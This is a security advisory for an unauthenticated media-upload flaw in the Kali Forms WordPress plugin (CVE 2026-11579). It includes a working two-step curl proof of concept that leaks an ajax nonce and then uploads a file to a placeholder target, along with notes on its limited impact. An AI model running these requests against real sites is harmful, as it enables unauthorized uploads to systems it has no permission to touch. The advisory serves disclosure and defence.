Kali Forms < 2.4.17 – Unauthenticated Media Upload | CVE 2026-11579

Description

The plugin does not verify that a file upload is made against an existing form configured with a file-upload field, accepting uploads regardless of whether any such form exists, which allows unauthenticated users to upload files to the WordPress Media Library; the uploads are limited to WordPress's default-allowed MIME types, so this does not lead to code execution.

Proof of Concept

Two-step, fully unauthenticated. Confirmed on Kali Forms 2.4.11.

Step 1 - Leak a valid nonce (no authentication):
curl -s -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  --data "action=kaliforms_get_js_var&data[formId]=1&data[key]=ajax_nonce"
Response: {"success":true,"data":"<NONCE>"}

Step 2 - Upload a file with the leaked nonce (no authentication):
curl -s -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -F "action=kaliforms_form_upload_file" \
  -F "nonce=<NONCE>" \
  -F "file=@poc.png"
Response on success: a uniqid string (e.g. 6a26a98fa0bde).
Response for a blocked type: {"errors":"Sorry, you are not allowed to upload this file type."}

The file is added to the Media Library and is publicly retrievable, e.g.:
https://TARGET/wp-content/uploads/YYYY/MM/poc.png  (HTTP 200)

Scope / notes:
- Only WordPress default-allowed MIME types upload successfully (images, PDF, docx, zip, audio/video, etc.). PHP, SVG, HTML (and even plain .txt in testing) are rejected by WordPress core's MIME check, so there is no code-execution path.
- No Kali Forms form or upload field needs to exist; the upload handler does not verify the form has an upload field.
- The uploaded file is scheduled for automatic deletion roughly 15 minutes after upload via a WP-cron event, so it is transient.